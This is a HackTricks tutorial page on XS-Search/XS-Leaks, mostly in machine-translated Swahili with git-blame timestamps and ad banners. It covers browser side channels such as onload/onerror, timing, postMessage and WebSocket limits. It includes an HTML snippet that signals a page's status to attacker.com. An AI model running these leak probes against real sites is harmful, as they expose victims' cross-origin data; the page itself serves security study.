hacktricks/pentesting-web/xs-search.md

968 lines
84 KiB
Markdown
Raw Normal View History

2022-10-11 23:16:53 +00:00
# XS-Search/XS-Leaks
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kujiendesha kiotomatiki** kwa urahisi kwa kutumia zana za jamii **zilizoendelea zaidi** duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Basic Information
2022-06-27 23:34:20 +00:00
XS-Search ni mbinu inayotumika kwa **kuchota taarifa za cross-origin** kwa kutumia **udhaifu wa njia za pembeni**.
2022-06-27 23:34:20 +00:00
Vipengele muhimu vinavyohusika katika shambulio hili ni pamoja na:
2022-06-27 23:34:20 +00:00
* **Mtandao wa Udhaifu**: Tovuti lengwa ambayo taarifa inakusudiwa kuchotwa.
* **Mtandao wa Mshambuliaji**: Tovuti mbaya iliyoundwa na mshambuliaji, ambayo mwathirika anatembelea, ikihifadhi exploit.
* **Mbinu ya Kujumuisha**: Mbinu inayotumika kuingiza Mtandao wa Udhaifu katika Mtandao wa Mshambuliaji (mfano, window.open, iframe, fetch, tag ya HTML yenye href, nk.).
* **Mbinu ya Leak**: Mbinu zinazotumika kubaini tofauti katika hali ya Mtandao wa Udhaifu kulingana na taarifa zilizokusanywa kupitia mbinu ya kujumuisha.
* **Hali**: Masharti mawili yanayoweza kutokea ya Mtandao wa Udhaifu, ambayo mshambuliaji anajaribu kutofautisha.
* **Tofauti Zinazoweza Kugundulika**: Mabadiliko yanayoweza kuonekana ambayo mshambuliaji anategemea ili kubaini hali ya Mtandao wa Udhaifu.
2022-06-27 23:34:20 +00:00
### Detectable Differences
2022-06-27 23:34:20 +00:00
Mambo kadhaa yanaweza kuchambuliwa ili kutofautisha hali za Mtandao wa Udhaifu:
2022-06-27 23:34:20 +00:00
* **Kodi ya Hali**: Kutofautisha kati ya **kodi mbalimbali za majibu ya HTTP** cross-origin, kama vile makosa ya seva, makosa ya mteja, au makosa ya uthibitishaji.
* **Matumizi ya API**: Kutambua **matumizi ya Web APIs** kati ya kurasa, ikifunua ikiwa ukurasa wa cross-origin unatumia API maalum ya JavaScript.
* **Mwelekeo**: Kugundua mwelekeo kwenda kurasa tofauti, si tu mwelekeo wa HTTP bali pia yale yanayosababishwa na JavaScript au HTML.
* **Maudhui ya Ukurasa**: Kuangalia **mabadiliko katika mwili wa majibu ya HTTP** au katika rasilimali ndogo za ukurasa, kama vile **idadi ya fremu zilizojumuishwa** au tofauti za ukubwa katika picha.
* **Kichwa cha HTTP**: Kurekodi uwepo au labda thamani ya **kichwa maalum cha majibu ya HTTP**, ikiwa ni pamoja na vichwa kama X-Frame-Options, Content-Disposition, na Cross-Origin-Resource-Policy.
* **Wakati**: Kutambua tofauti za wakati zinazofanana kati ya hali hizo mbili.
2022-06-27 23:34:20 +00:00
### Inclusion Methods
2022-06-27 23:34:20 +00:00
* **Vitu vya HTML**: HTML inatoa vitu mbalimbali kwa ajili ya **kujumuisha rasilimali za cross-origin**, kama vile stylesheets, picha, au scripts, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Mkusanyiko wa vitu vya HTML vinavyoweza kutumika kwa kusudi hili unaweza kupatikana kwenye [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
* **Frames**: Vitu kama **iframe**, **object**, na **embed** vinaweza kuingiza rasilimali za HTML moja kwa moja kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa **hauna ulinzi wa fremu**, JavaScript inaweza kufikia kitu cha fremu kupitia mali ya contentWindow.
* **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali katika tab au dirisha jipya, ikitoa **kushughulikia dirisha** kwa JavaScript kuingiliana na mbinu na mali kufuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitishaji wa moja kwa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali lengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji.
* **Maombi ya JavaScript**: JavaScript inaruhusu maombi ya moja kwa moja kwa rasilimali lengwa kwa kutumia **XMLHttpRequests** au **Fetch API**. Mbinu hizi zinatoa udhibiti sahihi juu ya ombi, kama vile kuchagua kufuata mwelekeo wa HTTP.
2022-06-27 23:34:20 +00:00
### Leak Techniques
2022-06-27 23:34:20 +00:00
* **Event Handler**: Mbinu ya kawaida ya leak katika XS-Leaks, ambapo waendeshaji wa matukio kama **onload** na **onerror** hutoa taarifa kuhusu mafanikio au kushindwa kwa upakiaji wa rasilimali.
* **Ujumbe wa Makosa**: Makaratasi ya makosa ya JavaScript au kurasa maalum za makosa zinaweza kutoa taarifa za leak moja kwa moja kutoka ujumbe wa kosa au kwa kutofautisha kati ya uwepo wake na kutokuwepo.
* **Mipaka ya Ulimwengu**: Mipaka halisi ya kivinjari, kama vile uwezo wa kumbukumbu au mipaka mingine iliyowekwa na kivinjari, inaweza kuashiria wakati kigezo kinapofikiwa, ikihudumu kama mbinu ya leak.
* **Hali ya Ulimwengu**: Maingiliano yanayoweza kugundulika na **hali za ulimwengu** za kivinjari (mfano, kiolesura cha Historia) yanaweza kutumika. Kwa mfano, **idadi ya entries** katika historia ya kivinjari inaweza kutoa vidokezo kuhusu kurasa za cross-origin.
* **Performance API**: API hii inatoa **maelezo ya utendaji wa ukurasa wa sasa**, ikiwa ni pamoja na wakati wa mtandao kwa hati na rasilimali zilizopakiwa, ikiruhusu maelezo kuhusu rasilimali zilizohitajika.
* **Mali Zinazoweza Kusomwa**: Baadhi ya mali za HTML ni **zinazosomwa cross-origin** na zinaweza kutumika kama mbinu ya leak. Kwa mfano, mali ya `window.frame.length` inaruhusu JavaScript kuhesabu fremu zilizojumuishwa katika ukurasa wa wavuti cross-origin.
2022-06-27 23:34:20 +00:00
## XSinator Tool & Paper
2022-06-28 15:48:43 +00:00
XSinator ni zana ya kiotomatiki ya **kuangalia vivinjari dhidi ya XS-Leaks kadhaa zinazojulikana** zilizoelezwa katika karatasi yake: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
Unaweza **kupata zana hiyo katika** [**https://xsinator.com/**](https://xsinator.com/)
{% hint style="warning" %}
**XS-Leaks Zilizotengwa**: Ilibidi tutenge XS-Leaks zinazotegemea **wafanyakazi wa huduma** kwani zingeharibu leaks nyingine katika XSinator. Zaidi ya hayo, tulichagua **kutenga XS-Leaks zinazotegemea makosa ya usanidi na makosa katika programu maalum ya wavuti**. Kwa mfano, makosa ya usanidi ya CrossOrigin Resource Sharing (CORS), uvujaji wa postMessage au Cross-Site Scripting. Zaidi ya hayo, tulitenga XS-Leaks za wakati kwa sababu mara nyingi huwa na ucheleweshaji, kelele na kutokuwa sahihi.
{% endhint %}
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kujiendesha kiotomatiki** kwa urahisi kwa kutumia zana za jamii **zilizoendelea zaidi** duniani.\
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## **Mbinu za Kulinganisha Wakati**
Baadhi ya mbinu zifuatazo zitatumia wakati kama sehemu ya mchakato wa kugundua tofauti katika hali zinazowezekana za kurasa za wavuti. Kuna njia tofauti za kupima wakati katika kivinjari cha wavuti.
**Saa**: API ya [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) inaruhusu wabunifu kupata vipimo vya wakati vya hali ya juu.\
Kuna idadi kubwa ya APIs ambazo washambuliaji wanaweza kuzitumia kuunda saa zisizo za moja kwa moja: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), michoro ya CSS, na nyingine.\
Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
2022-06-28 15:48:43 +00:00
## Mbinu za Waendeshaji wa Matukio
2022-06-27 23:34:20 +00:00
2022-06-28 12:20:37 +00:00
### Onload/Onerror
2022-06-27 23:34:20 +00:00
* **Mbinu za Kujumuisha**: Frames, Vitu vya HTML
* **Tofauti Zinazoweza Kugundulika**: Kodi ya Hali
* **Maelezo zaidi**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **Muhtasari**: ikiwa unajaribu kupakia rasilimali, matukio ya onerror/onload yanachochewa wakati rasilimali imepakiwa kwa mafanikio/kushindwa, inawezekana kubaini kodi ya hali.
* **Mfano wa Kode**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))
2022-06-27 23:34:20 +00:00
2023-01-02 23:15:01 +00:00
{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}
Mfano wa kode unajaribu **kupakia vitu vya scripts kutoka JS**, lakini **vitambulisho vingine** kama vile vitu, stylesheets, picha, sauti vinaweza pia kutumika. Zaidi ya hayo, inawezekana pia kuingiza **tag moja kwa moja** na kutangaza matukio ya `onload` na `onerror` ndani ya tag (badala ya kuingiza kutoka JS).
2022-06-27 23:34:20 +00:00
Pia kuna toleo lisilo na script la shambulio hili:
2022-06-27 23:34:20 +00:00
```html
<object data="//example.com/404">
2024-02-11 02:13:58 +00:00
<object data="//attacker.com/?error"></object>
2022-06-27 23:34:20 +00:00
</object>
```
In this case if `example.com/404` is not found `attacker.com/?error` will be loaded.
2022-06-27 23:34:20 +00:00
### Onload Timing
2022-06-28 15:48:43 +00:00
* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** can be used to measure how much time it takes to perform a request. However, other clocks could be used, such as [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) which can identify tasks running for more than 50ms.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) another example in:
2023-01-02 14:57:39 +00:00
{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}
2022-06-28 15:48:43 +00:00
#### Onload Timing + Forced Heavy Task
2023-01-02 20:55:19 +00:00
Teknolojia hii ni kama ile ya awali, lakini **mshambuliaji** pia **atalazimisha** hatua fulani kuchukua **muda muhimu** wakati **jibu ni chanya au hasi** na kupima muda huo.
2023-01-02 20:55:19 +00:00
{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}
### unload/beforeunload Timing
2022-06-28 15:48:43 +00:00
* **Inclusion Methods**: Frames
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) can be used to measure how much time it takes to perform a request. Other clocks could be used.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
2022-06-28 15:48:43 +00:00
Muda unaotumika kupata rasilimali unaweza kupimwa kwa kutumia matukio ya [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) na [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event). Tukio la **`beforeunload`** linatokea wakati kivinjari kinakaribia kuhamia kwenye ukurasa mpya, wakati tukio la **`unload`** linatokea wakati mchakato wa kuhamia unafanyika. Tofauti ya muda kati ya matukio haya mawili inaweza kuhesabiwa ili kubaini **muda ambao kivinjari kilitumia kupata rasilimali**.
2022-06-28 15:48:43 +00:00
### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
2022-06-28 15:48:43 +00:00
* **Inclusion Methods**: Frames
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request. Other clocks could be used.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
2024-02-06 03:10:38 +00:00
Imethibitishwa kuwa katika ukosefu wa [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), muda unaohitajika kwa ukurasa na rasilimali zake ndogo kupakia kupitia mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinawezekana kwa sababu handler ya `onload` ya iframe inasababisha tu baada ya kukamilika kwa upakiaji wa rasilimali na utekelezaji wa JavaScript. Ili kupita tofauti iliyosababishwa na utekelezaji wa script, mshambuliaji anaweza kutumia sifa ya [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) ndani ya `<iframe>`. Kuongeza sifa hii kunakataza kazi nyingi, hasa utekelezaji wa JavaScript, hivyo kuruhusu kipimo ambacho kinategemea zaidi utendaji wa mtandao.
2024-02-06 03:10:38 +00:00
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + error + onload
2022-06-28 15:48:43 +00:00
* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**:
* **Summary**: Ikiwa unaweza kufanya ukurasa uwe na kosa wakati maudhui sahihi yanapofikiwa na kufanya upakue vizuri wakati maudhui yoyote yanapofikiwa, basi unaweza kufanya mzunguko kutoa taarifa zote bila kupima muda.
* **Code Example**:
2022-06-28 15:48:43 +00:00
Kufikiria kwamba unaweza **kuingiza** **ukurasa** ambao una **maudhui ya siri** **ndani ya Iframe**.
2022-06-28 15:48:43 +00:00
Unaweza **kufanya mwathirika atafute** faili ambayo ina "_**bendera**_" kwa kutumia **Iframe** (kuchochea CSRF kwa mfano). Ndani ya Iframe unajua kwamba _**tukio la onload**_ litakuwa **linatekelezwa kila wakati angalau mara moja**. Kisha, unaweza **kubadilisha** **URL** ya **iframe** lakini kubadilisha tu **maudhui** ya **hash** ndani ya URL.
2022-06-28 15:48:43 +00:00
2024-02-11 02:13:58 +00:00
Kwa mfano:
2022-06-28 15:48:43 +00:00
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
2022-06-28 15:48:43 +00:00
Ikiwa URL ya kwanza ilipakuliwa **kwa mafanikio**, basi, wakati **kubadilisha** sehemu ya **hash** ya URL tukio la **onload** **halitazinduliwa** tena. Lakini **ikiwa** ukurasa ulikuwa na aina fulani ya **kosa** wakati wa **kupakia**, basi, tukio la **onload** litazinduliwa **tena**.
2022-06-28 15:48:43 +00:00
Kisha, unaweza **kutofautisha kati ya** ukurasa ulio **pakiwa vizuri** au ukurasa ambao una **kosa** wakati unafikiwa.
2022-06-28 15:48:43 +00:00
### Javascript Execution
2022-06-28 15:48:43 +00:00
* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**:
* **Summary:** Ikiwa **ukurasa** unarudisha **maudhui ya nyeti**, **au** maudhui ambayo yanaweza **kudhibitiwa** na mtumiaji. Mtumiaji anaweza kuweka **kodhi halali ya JS katika kesi hasi**, na **kupakia** kila jaribio ndani ya **`<script>`** vitambulisho, hivyo katika kesi **hasi** kodhi ya washambuliaji **inasimamiwa,** na katika kesi **za thibitisho** **hakuna** itatekelezwa.
* **Code Example:**
2023-01-22 23:19:55 +00:00
{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}
2022-06-28 12:20:37 +00:00
### CORB - Onerror
* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Status Code & Headers
* **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Summary**: **Cross-Origin Read Blocking (CORB)** ni kipimo cha usalama kinachozuia kurasa za wavuti kupakia rasilimali nyeti za cross-origin ili kulinda dhidi ya mashambulizi kama **Spectre**. Hata hivyo, washambuliaji wanaweza kutumia tabia yake ya kinga. Wakati jibu linalohusishwa na **CORB** linaporudisha _**CORB protected**_ `Content-Type` na `nosniff` na msimbo wa hali `2xx`, **CORB** inakata mwili wa jibu na vichwa. Washambuliaji wanaoshuhudia hili wanaweza kudhani mchanganyiko wa **mwandiko wa hali** (unaonyesha mafanikio au kosa) na `Content-Type` (inaonyesha ikiwa inprotected na **CORB**), ikisababisha uvujaji wa taarifa.
* **Code Example**:
2022-06-28 12:20:37 +00:00
Angalia kiungo cha maelezo zaidi kwa maelezo zaidi kuhusu shambulio.
2022-06-28 12:20:37 +00:00
### onblur
* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **Summary**: Vuja data nyeti kutoka kwa sifa ya id au jina.
* **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
2022-06-28 12:20:37 +00:00
Inawezekana **kupakia ukurasa** ndani ya **iframe** na kutumia **`#id_value`** kufanya ukurasa **uangalie kwenye kipengele** cha iframe kilichoonyeshwa ikiwa, kisha ikiwa ishara ya **`onblur`** itazinduliwa, kipengele cha ID kinapatikana.\
Unaweza kufanya shambulio sawa na vitambulisho vya **`portal`**.
2022-06-28 12:20:37 +00:00
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
2022-06-28 15:48:43 +00:00
* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: API Usage
* **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Summary**: Kusanya taarifa nyeti kutoka kwa postMessage au tumia uwepo wa postMessages kama oracle kujua hali ya mtumiaji kwenye ukurasa
* **Code Example**: `Any code listening for all postMessages.`
2022-06-28 15:48:43 +00:00
Programu mara nyingi hutumia [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) kuwasiliana kati ya asili tofauti. Hata hivyo, njia hii inaweza bila kukusudia kufichua **taarifa nyeti** ikiwa parameta ya `targetOrigin` haijafafanuliwa vizuri, ikiruhusu dirisha lolote kupokea ujumbe. Zaidi ya hayo, kitendo cha kupokea ujumbe kinaweza kutenda kama **oracle**; kwa mfano, ujumbe fulani huenda ukatumwa tu kwa watumiaji walioingia. Hivyo, uwepo au ukosefu wa ujumbe hawa unaweza kufichua taarifa kuhusu hali au utambulisho wa mtumiaji, kama vile ikiwa wameidhinishwa au la.
2024-02-06 03:10:38 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2024-02-06 03:10:38 +00:00
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kujiendesha** kazi kwa urahisi kwa kutumia zana za jamii zenye **maendeleo zaidi** duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Global Limits Techniques
2024-02-06 03:10:38 +00:00
### WebSocket API
2024-02-06 03:10:38 +00:00
* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: API Usage
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Summary**: Kuweka kikomo cha uhusiano wa WebSocket kunavuja idadi ya uhusiano wa WebSocket wa ukurasa wa cross-origin.
* **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))
2022-06-27 23:34:20 +00:00
Inawezekana kubaini ikiwa, na ni wangapi, **uunganisho wa WebSocket ukurasa wa lengo unatumia**. Inaruhusu mshambuliaji kugundua hali za programu na kuvuja taarifa zinazohusiana na idadi ya uhusiano wa WebSocket.
Ikiwa asili moja inatumia **idadi kubwa zaidi ya vitu vya uunganisho wa WebSocket**, bila kujali hali zao za uunganisho, kuunda **vitu vipya kutasababisha makosa ya JavaScript**. Ili kutekeleza shambulio hili, tovuti ya mshambuliaji inafungua tovuti ya lengo katika pop-up au iframe na kisha, baada ya tovuti ya lengo kupakuliwa, inajaribu kuunda idadi kubwa zaidi ya uhusiano wa WebSockets iwezekanavyo. **Idadi ya makosa yaliyotupwa** ni **idadi ya uhusiano wa WebSocket inayotumiwa na tovuti ya lengo** dirisha.
2022-06-27 23:34:20 +00:00
### Payment API
2022-06-27 23:34:20 +00:00
* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: API Usage
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Summary**: Gundua Ombi la Malipo kwa sababu moja tu inaweza kuwa hai wakati mmoja.
* **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
2022-06-27 23:34:20 +00:00
Hii XS-Leak inaruhusu mshambuliaji **gundue wakati ukurasa wa cross-origin unapoanzisha ombi la malipo**.
2022-06-27 23:34:20 +00:00
Kwa sababu **ombile moja la malipo linaweza kuwa hai** wakati mmoja, ikiwa tovuti ya lengo inatumia Payment Request API, jaribio lolote la **kuonyesha matumizi ya API hii litashindwa**, na kusababisha **makosa ya JavaScript**. Mshambuliaji anaweza kutumia hili kwa **kujaribu mara kwa mara kuonyesha UI ya Payment API**. Ikiwa jaribio moja linapelekea kosa, tovuti ya lengo kwa sasa inatumia. Mshambuliaji anaweza kuficha jaribio haya ya mara kwa mara kwa kufunga UI mara moja baada ya kuunda.
2022-06-27 23:34:20 +00:00
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
* **Inclusion Methods**:
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **Summary:** Pima muda wa utekelezaji wa wavuti kwa kutumia mzunguko wa tukio wa JS wa nyuzi moja.
* **Code Example**:
2022-06-28 15:48:43 +00:00
2022-10-12 19:31:39 +00:00
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}
JavaScript inafanya kazi kwenye [mzunguko wa tukio wa nyuzi moja](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) mfano wa ushirikiano, ikimaanisha kwamba **inaweza kutekeleza kazi moja tu kwa wakati**. Sifa hii inaweza kutumika kupima **ni muda gani kodhi kutoka asili tofauti inachukua kutekelezwa**. Mshambuliaji anaweza kupima muda wa utekelezaji wa kodhi yao wenyewe katika mzunguko wa tukio kwa kuendelea kutuma matukio yenye mali zilizowekwa. Matukio haya yatachakatwa wakati hifadhi ya matukio iko tupu. Ikiwa asili nyingine pia inatuma matukio kwenye hifadhi hiyo hiyo, **mshambuliaji anaweza kudhani muda inachukua kwa matukio haya ya nje kutekelezwa kwa kuangalia ucheleweshaji katika utekelezaji wa kazi zao wenyewe**. Njia hii ya kufuatilia mzunguko wa tukio kwa ucheleweshaji inaweza kufichua muda wa utekelezaji wa kodhi kutoka asili tofauti, ikifichua taarifa nyeti.
2022-06-28 15:48:43 +00:00
{% hint style="warning" %}
Katika kupima muda wa utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.
2022-06-28 15:48:43 +00:00
{% endhint %}
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
* **Inclusion Methods**:
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Summary:** Njia moja ya kupima muda wa utekelezaji wa operesheni ya wavuti inahusisha kuzuia makusudi mzunguko wa tukio wa nyuzi moja na kisha kupima **ni muda gani inachukua kwa mzunguko wa tukio kurudi upya**. Kwa kuingiza operesheni ya kuzuia (kama vile hesabu ndefu au wito wa API wa synchronous) kwenye mzunguko wa tukio, na kufuatilia muda inachukua kwa kodhi inayofuata kuanza kutekelezwa, mtu anaweza kudhani muda wa kazi ambazo zilikuwa zikitekelezwa katika kipindi cha kuzuia. Mbinu hii inatumia asili ya nyuzi moja ya mzunguko wa tukio wa JavaScript, ambapo kazi zinafanywa kwa mpangilio, na inaweza kutoa maarifa kuhusu utendaji au tabia ya operesheni nyingine zinazoshiriki nyuzi hiyo hiyo.
* **Code Example**:
2022-06-28 15:48:43 +00:00
Faida kubwa ya mbinu ya kupima muda wa utekelezaji kwa kufunga mzunguko wa tukio ni uwezo wake wa kukwepa **Kujitenga kwa Tovuti**. **Kujitenga kwa Tovuti** ni kipengele cha usalama kinachotenganisha tovuti tofauti katika michakato tofauti, lengo lake ni kuzuia tovuti mbaya kupata moja kwa moja data nyeti kutoka tovuti nyingine. Hata hivyo, kwa kuathiri muda wa utekelezaji wa asili nyingine kupitia mzunguko wa tukio wa pamoja, mshambuliaji anaweza kwa njia isiyo ya moja kwa moja kutoa taarifa kuhusu shughuli za asili hiyo. Njia hii haitegemei ufikiaji wa moja kwa moja wa data ya asili nyingine bali inatazama athari za shughuli za asili hiyo kwenye mzunguko wa tukio wa pamoja, hivyo kukwepa vizuizi vya kinga vilivyowekwa na **Kujitenga kwa Tovuti**.
2022-06-28 15:48:43 +00:00
{% hint style="warning" %}
Katika kupima muda wa utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.
2022-06-28 15:48:43 +00:00
{% endhint %}
### Connection Pool
2022-06-28 15:48:43 +00:00
* **Inclusion Methods**: JavaScript Requests
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
